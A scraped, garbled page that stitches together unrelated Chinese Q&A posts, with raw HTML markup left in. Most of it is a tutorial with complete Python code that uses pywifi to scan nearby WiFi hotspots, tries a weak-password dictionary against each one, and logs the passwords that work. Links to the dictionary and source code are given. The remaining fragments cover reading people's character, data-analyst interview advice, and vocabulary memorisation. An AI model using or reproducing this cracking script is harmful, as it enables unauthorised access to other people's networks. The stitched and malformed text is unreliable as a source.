&img src=&/50/v2-4aff5aa9ea58_b.jpg& data-rawwidth=&1498& data-rawheight=&954& class=&origin_image zh-lightbox-thumb& width=&1498& data-original=&/50/v2-4aff5aa9ea58_r.jpg&&&p&上点python有意思的代码。&br&&/p&&h3&&strong&环境准备&/strong&&/h3&&ul&&li&python2.7&/li&&li&&a href=&/?target=https%3A///awkman/pywifi/archive/master.zip& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&pywifi模块&i class=&icon-external&&&/i&&/a&&/li&&li&字典&/li&&li&清除系统中的任何wifi连接记录&/li&&/ul&&h3&&strong&导入模块&/strong&&/h3&&p&这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改，不然会有很多的提示信息。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&from pywifi import *
import time
import sys
&/code&&/pre&&/div&&h3&&strong&字典准备&/strong&&/h3&&p&随机搞的wifi弱口令TOP10&/p&&ol&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&/ol&&h3&&strong&配置扫描器&/strong&&/h3&&p&推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义，考虑到认证速度于距离的关系，我一般设置在15左右，再久的也没意义 到时候就算破解成功的热点，信号也好不到哪里&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&main&/span&&span class=&p&&():&/span&
&span class=&c1&&#扫描时常&/span&
&span class=&n&&scantimes&/span& &span class=&o&&=&/span& &span class=&mi&&3&/span&
&span class=&c1&&#单个密码测试延迟&/span&
&span class=&n&&testtimes&/span& &span class=&o&&=&/span& &span class=&mi&&15&/span&
&span class=&n&&output&/span& &span class=&o&&=&/span& &span class=&n&&sys&/span&&span class=&o&&.&/span&&span class=&n&&stdout&/span&
&span class=&c1&&#结果文件保存路径&/span&
&span class=&n&&files&/span& &span class=&o&&=&/span& &span class=&s2&&&TestRes.txt&&/span&
&span class=&c1&&#字典列表&/span&
&span class=&n&&keys&/span& &span class=&o&&=&/span& &span class=&nb&&open&/span&&span class=&p&&(&/span&&span class=&n&&sys&/span&&span class=&o&&.&/span&&span class=&n&&argv&/span&&span class=&p&&[&/span&&span class=&mi&&1&/span&&span class=&p&&],&/span&&span class=&s2&&&r&&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&readlines&/span&&span class=&p&&()&/span&
&span class=&k&&print&/span& &span class=&s2&&&|KEYS &/span&&span class=&si&&%s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&keys&/span&&span class=&p&&))&/span&
&span class=&c1&&#实例化一个pywifi对象&/span&
&span class=&n&&wifi&/span& &span class=&o&&=&/span& &span class=&n&&PyWiFi&/span&&span class=&p&&()&/span&
&span class=&c1&&#选择定一个网卡并赋值于iface&/span&
&span class=&n&&iface&/span& &span class=&o&&=&/span& &span class=&n&&wifi&/span&&span class=&o&&.&/span&&span class=&n&&interfaces&/span&&span class=&p&&()[&/span&&span class=&mi&&0&/span&&span class=&p&&]&/span&
&span class=&c1&&#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置&/span&
&span class=&n&&scanres&/span& &span class=&o&&=&/span& &span class=&n&&scans&/span&&span class=&p&&(&/span&&span class=&n&&iface&/span&&span class=&p&&,&/span&&span class=&n&&scantimes&/span&&span class=&p&&)&/span&
&span class=&c1&&#统计附近被发现的热点数量&/span&
&span class=&n&&nums&/span& &span class=&o&&=&/span& &span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&scanres&/span&&span class=&p&&)&/span&
&span class=&k&&print&/span& &span class=&s2&&&|SCAN GET &/span&&span class=&si&&%s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&n&&nums&/span&&span class=&p&&)&/span&
&span class=&k&&print&/span& &span class=&s2&&&&/span&&span class=&si&&%s&/span&&span class=&se&&\n&/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&& | &/span&&span class=&si&&%-*s&/span&&span class=&s2&& | &/span&&span class=&si&&%-*s&/span&&span class=&s2&& &/span&&span class=&si&&%*s&/span&&span class=&s2&& &/span&&span class=&se&&\n&/span&&span class=&si&&%s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&s2&&&-&&/span&&span class=&o&&*&/span&&span class=&mi&&70&/span&&span class=&p&&,&/span&&span class=&mi&&6&/span&&span class=&p&&,&/span&&span class=&s2&&&WIFIID&&/span&&span class=&p&&,&/span&&span class=&mi&&18&/span&&span class=&p&&,&/span&&span class=&s2&&&SSID OR BSSID&&/span&&span class=&p&&,&/span&&span class=&mi&&2&/span&&span class=&p&&,&/span&&span class=&s2&&&N&&/span&&span class=&p&&,&/span&&span class=&mi&&4&/span&&span class=&p&&,&/span&&span class=&s2&&&time&&/span&&span class=&p&&,&/span&&span class=&mi&&7&/span&&span class=&p&&,&/span&&span class=&s2&&&signal&&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&s2&&&KEYNUM&&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&s2&&&KEY&&/span&&span class=&p&&,&/span&&span class=&s2&&&=&&/span&&span class=&o&&*&/span&&span class=&mi&&70&/span&&span class=&p&&)&/span&
&span class=&c1&&#将每一个热点信息逐一进行测试&/span&
&span class=&k&&for&/span& &span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&n&&x&/span& &span class=&ow&&in&/span& &span class=&nb&&enumerate&/span&&span class=&p&&(&/span&&span class=&n&&scanres&/span&&span class=&p&&):&/span&
&span class=&c1&&#测试完毕后，成功的结果讲存储到files中&/span&
&span class=&n&&res&/span& &span class=&o&&=&/span& &span class=&n&&test&/span&&span class=&p&&(&/span&&span class=&n&&nums&/span&&span class=&o&&-&/span&&span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&n&&iface&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&p&&,&/span&&span class=&n&&keys&/span&&span class=&p&&,&/span&&span class=&n&&output&/span&&span class=&p&&,&/span&&span class=&n&&testtimes&/span&&span class=&p&&)&/span&
&span class=&k&&if&/span& &span class=&n&&res&/span&&span class=&p&&:&/span&
&span class=&nb&&open&/span&&span class=&p&&(&/span&&span class=&n&&files&/span&&span class=&p&&,&/span&&span class=&s2&&&a&&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&write&/span&&span class=&p&&(&/span&&span class=&n&&res&/span&&span class=&p&&)&/span&
&/code&&/pre&&/div&&h3&&strong&扫描周围热点&/strong&&/h3&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&scans&/span&&span class=&p&&(&/span&&span class=&n&&face&/span&&span class=&p&&,&/span&&span class=&n&&timeout&/span&&span class=&p&&):&/span&
&span class=&c1&&#开始扫描&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&scan&/span&&span class=&p&&()&/span&
&span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&sleep&/span&&span class=&p&&(&/span&&span class=&n&&timeout&/span&&span class=&p&&)&/span&
&span class=&c1&&#在若干秒后获取扫描结果&/span&
&span class=&k&&return&/span& &span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&scan_results&/span&&span class=&p&&()&/span&
&/code&&/pre&&/div&&h3&&strong&热点测试&/strong&&/h3&&p&这里后续推荐将扫描过程数据入库，防止重复扫描，且更加直观。&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&test&/span&&span class=&p&&(&/span&&span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&n&&face&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&p&&,&/span&&span class=&n&&key&/span&&span class=&p&&,&/span&&span class=&n&&stu&/span&&span class=&p&&,&/span&&span class=&n&&ts&/span&&span class=&p&&):&/span&
&span class=&c1&&#显示对应网络名称，考虑到部分中文名啧显示bssid&/span&
&span class=&n&&showID&/span& &span class=&o&&=&/span& &span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&bssid&/span& &span class=&k&&if&/span& &span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&ssid&/span&&span class=&p&&)&/span&&span class=&o&&&&/span&&span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&bssid&/span&&span class=&p&&)&/span& &span class=&k&&else&/span& &span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&ssid&/span&
&span class=&c1&&#迭代字典并进行爆破&/span&
&span class=&k&&for&/span& &span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&n&&k&/span& &span class=&ow&&in&/span& &span class=&nb&&enumerate&/span&&span class=&p&&(&/span&&span class=&n&&key&/span&&span class=&p&&):&/span&
&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&key&/span& &span class=&o&&=&/span& &span class=&n&&k&/span&&span class=&o&&.&/span&&span class=&n&&strip&/span&&span class=&p&&()&/span&
&span class=&c1&&#移除所有热点配置&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&remove_all_network_profiles&/span&&span class=&p&&()&/span&
&span class=&c1&&#讲封装好的目标尝试连接&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&connect&/span&&span class=&p&&(&/span&&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&add_network_profile&/span&&span class=&p&&(&/span&&span class=&n&&x&/span&&span class=&p&&))&/span&
&span class=&c1&&#初始化状态码，考虑到用0会发生些逻辑错误&/span&
&span class=&n&&code&/span& &span class=&o&&=&/span& &span class=&mi&&10&/span&
&span class=&n&&t1&/span& &span class=&o&&=&/span& &span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&time&/span&&span class=&p&&()&/span&
&span class=&c1&&#循环刷新状态，如果置为0则密码错误，如超时则进行下一个&/span&
&span class=&k&&while&/span& &span class=&n&&code&/span&&span class=&o&&!=&/span&&span class=&mi&&0&/span& &span class=&p&&:&/span&
&span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&sleep&/span&&span class=&p&&(&/span&&span class=&mf&&0.1&/span&&span class=&p&&)&/span&
&span class=&n&&code&/span& &span class=&o&&=&/span& &span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&status&/span&&span class=&p&&()&/span&
&span class=&n&&now&/span& &span class=&o&&=&/span& &span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&time&/span&&span class=&p&&()&/span&&span class=&o&&-&/span&&span class=&n&&t1&/span&
&span class=&k&&if&/span& &span class=&n&&now&/span&&span class=&o&&&&/span&&span class=&n&&ts&/span&&span class=&p&&:&/span&
&span class=&k&&break&/span&
&span class=&n&&stu&/span&&span class=&o&&.&/span&&span class=&n&&write&/span&&span class=&p&&(&/span&&span class=&s2&&&&/span&&span class=&se&&\r&/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%s&/span&&span class=&s2&& |&/span&&span class=&si&&%*.2f&/span&&span class=&s2&&s| &/span&&span class=&si&&%-*s&/span&&span class=&s2&& |
&/span&&span class=&si&&%-*s&/span&&span class=&s2&& &/span&&span class=&si&&%*s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&mi&&6&/span&&span class=&p&&,&/span&&span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&mi&&18&/span&&span class=&p&&,&/span&&span class=&n&&showID&/span&&span class=&p&&,&/span&&span class=&n&&code&/span&&span class=&p&&,&/span&&span class=&mi&&5&/span&&span class=&p&&,&/span&&span class=&n&&now&/span&&span class=&p&&,&/span&&span class=&mi&&7&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&signal&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&key&/span&&span class=&p&&)&/span&&span class=&o&&-&/span&&span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&n&&k&/span&&span class=&o&&.&/span&&span class=&n&&replace&/span&&span class=&p&&(&/span&&span class=&s2&&&&/span&&span class=&se&&\n&/span&&span class=&s2&&&&/span&&span class=&p&&,&/span&&span class=&s2&&&&&/span&&span class=&p&&)))&/span&
&span class=&n&&stu&/span&&span class=&o&&.&/span&&span class=&n&&flush&/span&&span class=&p&&()&/span&
&span class=&k&&if&/span& &span class=&n&&code&/span& &span class=&o&&==&/span& &span class=&mi&&4&/span&&span class=&p&&:&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&disconnect&/span&&span class=&p&&()&/span&
&span class=&k&&return&/span& &span class=&s2&&&&/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%s&/span&&span class=&s2&& | &/span&&span class=&si&&%*s&/span&&span class=&s2&& |&/span&&span class=&si&&%*s&/span&&span class=&se&&\n&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&mi&&20&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&ssid&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&bssid&/span&&span class=&p&&,&/span&&span class=&mi&&3&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&signal&/span&&span class=&p&&,&/span&&span class=&mi&&15&/span&&span class=&p&&,&/span&&span class=&n&&k&/span&&span class=&p&&)&/span&
&span class=&k&&return&/span& &span class=&bp&&False&/span&
&/code&&/pre&&/div&&h3&&strong&案例&/strong&&/h3&&p&这里显示本次测试使用了11个弱口令，并扫描到了20个热点，然后开始坑爹的跑起来了&/p&&ul&&li&&em&&strong&WIFIID&/strong&&/em& 热点的id号 每跑一个会减1&/li&&li&&em&&strong&SSID OR BSSID&/strong&&/em& 热点的ssid名或mac地址&/li&&li&&em&&strong&N&/strong&&/em& 对热点的连接状态，这个在&/li&&li&&strong&&em&time&/em&&/strong& 当前所花去的时间&/li&&li&&strong&&em&signal&/em&&/strong& 热点的信号强度，若小越好&/li&&li&&strong&&em&KEYNUM&/em&&/strong& 测试密码的id 每跑一个会减1&/li&&li&&strong&&em&KEY&/em&&/strong& 当前测试的密码&/li&&/ul&&img src=&/v2-031dd3dda4bafcd44e81_b.png& data-rawwidth=&648& data-rawheight=&140& class=&origin_image zh-lightbox-thumb& width=&648& data-original=&/v2-031dd3dda4bafcd44e81_r.png&&&h3&&strong&传送门&/strong&&/h3&&p&&a href=&/?target=http%3A///s/1c10Q6Ow& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&字典&i class=&icon-external&&&/i&&/a&&a href=&/?target=http%3A///s/1gf0uH3P& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&源码&i class=&icon-external&&&/i&&/a&&a href=&/?target=http%3A///s/1o8BBJRG& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&模块&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///news/201510/bKHbxozIz7zyYCFy.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&你的WiFi密码是如何被隔壁老王破解的？ | 雷锋网&i class=&icon-external&&&/i&&/a&&/p&
上点python有意思的代码。 环境准备python2.7字典清除系统中的任何wifi连接记录导入模块这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改，不然会有很多的提示信息。from pywi…
那些只收藏不点赞的人，我都不喜欢你们啦。点赞的人都是小天使呢么么哒。&br&以下每个都在生活中有感悟&br&——————————————————&br&1.厌恶往往比喜好更能反映一个人的本质，看一个人不仅要看他喜欢什么，【&b&更要&/b&】看他厌恶什么。&br&—&br&2. 比较优秀的人且不合群的，很多都比较自私，可是这种人往往又很孝顺。&br&—&br&3. 情商很高的人，被激怒时往往也会露出马脚。&br&—&br&4. 一个人走路的样子往往反映了ta的自我认知，我们说比较“嘚瑟”的人走起路来也比较“嘚瑟”。&br&—&br&5.骨子里特别自恋的姑娘好“上手”，条件相当时你“锲而不舍”的追，最终一般都能搞定。就是谈恋爱时太能“作”，需要提前做好心理准备。&br&—&br&6. .对周围人都很“和善”却不乐意助别人的人，指仅仅做一些举手之劳而不愿意为他人耗费过多精力的人，往往自我认知清晰有自己目标。这种人在言谈中有“虚伪”的倾向。&br&—&br&7.在一个各种层次的人都有的圈子里，一个人的朋友要是全是强于ta的，这个人有“势利眼”的嫌疑，善于“抱大腿”。得罪这种人会给自己带来不必要的麻烦。&br&—&br&8.自来熟的人往往口风不严。&br&—&br&9.很多闷声者往往发大财，可是在他们发财之前，你还是可以注意到他们的。他们平时“埋头做事”“存在感低”，可是有机会降临时，你能发现他们不会放过机会，“积极去争取”。其实，闷声者也是会被注意到的。&br&—&br&10.“三观极正”的人，往往会帮坏人开脱，帮坏人推卸责任。不过，这种人不会对你造成什么危害，可以做个普通的朋友。一般来说，你请这种人帮忙时表现的越不好意思，ta越积极主动，心甘情愿。&br&“三观极正”的人心地也比较善良，平时能帮ta的就帮一下啦。&br&毕竟，【&b&你如何对待这个世界，这个世界最终会反作用于你&/b&】&br&—&br&11.没什么能力且爱秀优越者，往往比较虚荣，乐意听到恭维话，哪怕是特别虚伪的话。&br&—&br&12.特别“争强好胜”且不爱助人者往往“善妒”，见不得别人比自己好，不可与之深交。&br&—&br&13.喜欢苛求别人的人往往也会诿过，与这种人打交道，尤其是容易出差错的工作，注意不要留下什么把柄，要“谨慎”。毕竟，小心驶得万年船。&br&—&br&14.喜欢打击弱者来获得优越感的人，人品不好者居多。凌辱弱者的人往往也会谄媚于强者。&br&—&br&15.有上进心且又比较贪玩的人，往往比较洒脱，不容易钻牛角尖。有特别想不开的事情，找这种人一起“喝一壶”就好了。&br&—&br&16.生活过得相当细致的人往往有完美主义的倾向，这种人难免有完美主义导致的“拖延症”。与这种人打交道，记得规划好ta有可能会拖延的时间。&br&—&br&17.始吾于人也,听其言而信其行；今吾于人也,听其言而观其行。就是别光听他说什么，看他怎么做的。时间长了，你会发现生活中很多人只是会说“漂亮话”罢了。&br&我们女生就是会被甜言蜜语迷惑，此条可用于鉴别某些“只会说甜言蜜语却不为你做任何事”还想和你暧昧的男人，放心吧，他和你说的话会对很多女孩儿说，&b&渣男&/b&无疑。另外这种男生超级会打太极和转移话题，一定要提高自己的“鉴渣能力”。&br&—&br&18.算命时算命先生会“察言观色”，看一个人的眼神表情能反映ta的内心，表情类的东西很难伪装。此条，面瘫者和冰块脸不适用。&br&17和18两条是理论性的，不过挺好用的。&br&—
那些只收藏不点赞的人，我都不喜欢你们啦。点赞的人都是小天使呢么么哒。 以下每个都在生活中有感悟 —————————————————— 1.厌恶往往比喜好更能反映一个人的本质，看一个人不仅要看他喜欢什么，【更要】看他厌恶什么。 — 2. 比较优秀的人…
&p&谢 &a class=&member_mention& href=&///people/9c1aeee6ded57a89b049c1& data-tip=&p$b$9c1aeee6ded57a89b049c1& data-hash=&9c1aeee6ded57a89b049c1& data-hovercard=&p$b$9c1aeee6ded57a89b049c1&&@陈丹奕&/a& 邀。&/p&&p&我是金融科班出身，本科一毕业就去BAT做了数据分析师，目前也是面试官之一。&/p&&p&我被面试，和面试别人的时候，主要关注7个方面。&/p&&p&&b&1.
&/b&&b&基本工具&/b&&/p&&p&包括规定动作和自选动作两类。目前我所在的组不需要关心数据来源和结构化的问题，有专门的工程师团队写爬虫、做清洗、维护计算集群和数据库。所以主要考察点在于查询和衍生指标的计算方面。&/p&&p&&b&1.1 &/b&&b&规定动作&/b&&/p&&p&&b&SQL&/b&&b&查询：&/b&JOIN ON、DISTINCT、GROUP BY、ORDER BY等等。从数据库中提取数据是数据分析的第一步。另外我们的数据规模是TB级的，所以还要能使用SQL让集群做一些简单的计算，不然都下载到本地的话运算资源是肯定不够的。可能还会问一些非常基础的问题，比如PRIMARY KEY、int、str、double之类。&/p&&p&&b&Excel&/b&&b&：&/b&数据透视表、VLOOKUP、COUNTIFS、SUMIFS、VAR.P、条件格式等等，可能会涉及到诸如VLOOKUP中的TRUE和FALSE参数有什么区别，VAR.P和VAR.S有什么区别等细节问题。&/p&&p&&b&1.2 &/b&&b&自选动作&/b&&/p&&p&根据简历来问，简历上写什么就问什么，会问得比较深入。Python、Stata、R、SPSS、SAS、EViews都算比较常见的数据分析工具。&b&顺便奉劝各位不要作死，毕竟不作死都有可能会死。&/b&比如简历上写“精通Python”，虽然我知道简历注水是常态，但既然都“精通”了，那我问到pandas，regular expression，DataFrame.iterrows()返回的是Series还是dictionary还是list
of tuples，tuple和list的区别的时候好歹都得答出来吧……&/p&&p&&b&2.
&/b&&b&逻辑思维&/b&&/p&&p&主要分为两方面，对业务逻辑的理解能力和行文的逻辑水平。&/p&&p&&b&2.1
&/b&&b&业务逻辑&/b&&/p&&p&虽然一个业务看似流程简单清晰，但产生数据的复杂程度往往超过大多数人的想象。对业务逻辑的考察主要通过相关项目经历。如果是典型的学校项目，我会比较关心指标设计选取、代理变量选择、误差分析、因果性解释等。&/p&&p&&b&这里再次奉劝各位不要作死，写在简历上的项目经历起码自己要非常熟悉，对答如流。&/b&如果我听你介绍15秒项目后提出的问题(如“你为什么说 北京经济适用房建筑面积与房屋建造年份的乘积 是一个非常重要且有实际意义的解释变量？”)就能把你难住的话，那你也会把我难住的——尼玛面试评价表怎么写啊摔！我回去就得把HR批判一番！！！&/p&&p&以我为例，我每天接触的是700多张表，每张表的字段往往超过200个。这些表和字段往往还有关联。面对这么多业务指标，能否迅速理解它们之间的联系? 面对新的数据需求，能否逻辑清晰地将它拆分成指标、二级指标并进行各种计算? 面对复杂的局部最优化和全局最优化需求，能否“抓大放小”，能否迅速找到关键控制点、关键影响因素并加以优化? 我每天通常只有不到1小时的时间用来出一份要发给CEO等大佬的，关于业务数据分析和后续指导意见的报告。思维不敏捷，逻辑不清晰的话，是很难做好这份工作的。&/p&&p&&b&2.2
&/b&&b&行文逻辑&/b&&/p&&p&毕竟最终产出是一份份报告，可能是HTML邮件也能是PDF。文章结构还是很重要的。这里不展开说了，不过关键的几点是先说结论，先写摘要。&/p&&p&&b&3.
&/b&&b&理论储备&/b&&/p&&p&也分为规定动作和可选动作。&/p&&p&&b&3.1 &/b&&b&规定动作&/b&&/p&&p&主要是基础的统计学理论，如方差、协方差、算数平均数、几何平均数、中位数、众数、分位值、双峰数据、长尾数据、假设检验、期望迭代法则、贝叶斯原理等。&/p&&p&&b&3.2 &/b&&b&自选动作&/b&&/p&&p&根据简历来问，简历上写什么我一定会问什么。&b&第三次奉劝各位不要作死，写的检验也好机器学习算法也好好歹自己要知道原理、适用条件、局限性。&/b&不然我跟你聊起Pearson distance、K-means cluster的随机性问题的时候你接不上来也是很尴尬的。&/p&&p&&b&4.
&/b&&b&对细节的敏感度&/b&&/p&&p&作为数据分析师，每天要关注大量数据指标。对细节的敏感度是非常必要的。这主要分为两方面，对统计口径的敏感度和对数据的敏感度。&/p&&p&&b&4.1 &/b&&b&统计口径&/b&&/p&&p&统计口径一致是确保数据可比性的基础，这非常考验数据分析师的敏感度和行业经验。比如转化率，是点击算转化还是注册算转化还是购买算转化？配送时间，是从用户下单开始计时还是从订单确认开始计时还是从商品出库开始计时？客单价包不包括配送费、打包费、代金券形式的折扣优惠？&/p&&p&&b&4.2 &/b&&b&数据&/b&&/p&&p&我非常关心候选人对数据异常波动、离群值、平均数没有代表意义等情况的迅速识别能力。比如已知然寿司套餐单价1,500，酒水单价300，平均客单价2,500，能不能马上想到这可能是双峰数据或者长尾数据，抑或既双峰又长尾的数据？&/p&&p&&b&5.
&/b&&b&学习能力&/b&&/p&&p&互联网行业瞬息万变，光数据的存储就有Oracle、MySQL、Hadoop、Spark、Hive、Impala、谷哥哥三驾马车等一大堆奇奇怪怪的东西。互联网行业的从业者经常要面对新需求、新工具、新方法。能否迅速掌握新知识，解决新问题是候选人必须证明给我看的。&/p&&p&主要考察的方式是了解过往项目经历，或者我出作业题(比如Sci-Hub)。&/p&&p&&b&6.
&/b&&b&排版和简单UI设计&/b&&/p&&p&我认为数据分析报告必须简洁、清晰、重点突出。主要考察方式是出作业题让候选人限时交一份slides(就是PPT啦)出来。能掌握标准的Microsoft Design Language是大大的加分项。&/p&&p&&b&7.
&/b&&b&价值观&/b&&/p&&p&主要看工作热情、态度、道德水平等等，这方面我问的问题比较随机，没什么规律可循，甚至问过机械键盘、人体工程学设计等方面的问题。&/p&&br&&p&对互联网行业有兴趣的话，欢迎给我私信发简历。腾讯阿里百度滴滴美团今日头条之流我都去面过，HR也是认识几个的~&/p&
邀。我是金融科班出身，本科一毕业就去BAT做了数据分析师，目前也是面试官之一。我被面试，和面试别人的时候，主要关注7个方面。1.
基本工具包括规定动作和自选动作两类。目前我所在的组不需要关心数据来源和结构化的问题，有专门的工程师团队…
曾经作为数据部的leader，应该可以回答下。&br&首先介绍下我的背景：一毕业在DBA呆了三年，期间最主要工作是数据挖掘、报表开发。也参与了一部分的BI系统开发。&br&后来跳槽到了业务部门的数据分析部，完全不需要编程，因为根本用不上，最多在本部门建个数据仓库，大部分工作是做一些数据报告提供给领导做决策。&br&领导很喜欢可视化，于是期间我学了很多可视化工具囧。&br&做了九个月觉得不适应…就离开了。&br&目前做的事情比较杂，从数据库、ETL、建模、数据分析、数据可视化、BI系统都有涉及，包括写PRD。涉及的模块比较多，但是蛮开心的，基本上天天都要学习的状态。&br&&br&下面介绍下业务部门和IT部门的数据分析师要求&br&在业务部门：&br&1、分析工具：SPSS、SAS、Matlab、Excel、简单的Sql查询、BI工具、然后用PPT写一些分析即可。不需要会编程，但会的话有加分。比如调用R的一些包、用VBA、python写一些报表自动化。&br&2、统计知识扎实，后期需要建模。如果应届毕业生我基本就问决策树、逻辑回归、聚类、神经网络的一些应用。筛选简历的话，我基本会挑数学、统计学、计算机、金融、情报学、物理、生物这几个专业的面试，其他一律不要。&br&3、逻辑思维，这个蛮重要的。一般来说学理科的逻辑思维都不错，但是在面试过程中，我是没办法分辨的，会出试卷给到面试者笔试。（试卷涵盖了计算、sql语句、逻辑思维、案例分析）&br&&br&&br&在IT部门：&br&这个就有了细分&br&有数据挖掘工程师、数据工程师、BI工程师、数据分析师、数据架构师。ETL工程师等&br&每个公司对其定位都有所不同。&br&但大部分IT部门的数据分析师，不止会技术还要懂业务，都需要写分析报告提供给公司做决策。&br&技能：精通SQL、精通用R/Python做数据处理、懂机器学习、扎实的统计学知识。会SAS/Matlab加分（不过这两个软件好贵，IT部门都建议数据分析师用开源的工具）。&br&IT部门的数据分析师基本是涵盖了业务部门数据分析师的技能还要会编程，就这么简单。&br&薪资水平也是两个级别。&br&&br&以上说的是所需要的基础技能，如果会Hadoop、spark、各种机器学习算法那就比较牛了，可以往数据科学家方向发展。&br&以上仅是本人四年工作经验的见解。
曾经作为数据部的leader，应该可以回答下。 首先介绍下我的背景：一毕业在DBA呆了三年，期间最主要工作是数据挖掘、报表开发。也参与了一部分的BI系统开发。 后来跳槽到了业务部门的数据分析部，完全不需要编程，因为根本用不上，最多在本部门建个数据仓库…
告诉大家英语单词极速记忆法，江湖人称：阿新记忆法&br&----------&br&&p&记忆大量单词，必须要在临界时间前重复，否则会前功尽弃。根据遗忘曲线，头一个小时会遗忘50％以上。其实，不止的！ 当你看一个新单词后，往往一分钟就忘掉了！因此，此法最重要的功夫分两步，第一是头一个小时，其次就是后续，如何让你在头一个小时辛辛苦苦几下的单词全部不再逃出你的脑袋。&/p&&br&&p&好了，现在开始。。。。。&/p&&p&每天用一个小时来增加新单词，一般新手是大约50个左右，熟悉后一个小时可以达到100个左右。 如果你时间多，或者有雄心，我建议每天新增300个，用时3个小时。&/p&&p&记忆单词，一定要量大，不可以每天记忆10-20个，如果你每天记忆300个，可能明天还能留下200个而忘记100个，这就很有效果了。因此一定要量大！ 当然了，300个才记住200个，效率太低，我们希望能提高效率，最好就是把遗忘减少到10％以内，300个只遗忘30个记住270个。 这得看你在运用的时候是否积极了，跟我学过的很多人，基本都可以达到遗忘率低于10％的，令我很惊讶。&/p&&br&&blockquote&&b&一个小时如何记忆100个单词。&/b&&/blockquote&&p&这个方法，在我小学5年级就在一杂志上看过，当时我好奇，真的依法而行，果然在一个钟内记住了100个。可惜，如何吧这些单词永远留在记忆中，我不知道，似乎文章也没有讲或者讲了我没有留意。直到大学毕业，有人从新发明了这个办法，并且把后续的、如何在一个小时后留住大量单词的技术也发明了，我才如梦初醒，总算用两周时间背完了刘毅编写的托福单词表。这是本好书，建议考托福的人用他的单词册，有很多版本，我要求用从A到Z 按照顺序排列单词的那本，不要有练习题的！最好连例句都没有就更好了。 我们需要的，仅仅是左边英语单词，右边中文意思，够了。其他的东西，全部是垃圾。其他人编写的都可以，只要单词量够就OK。 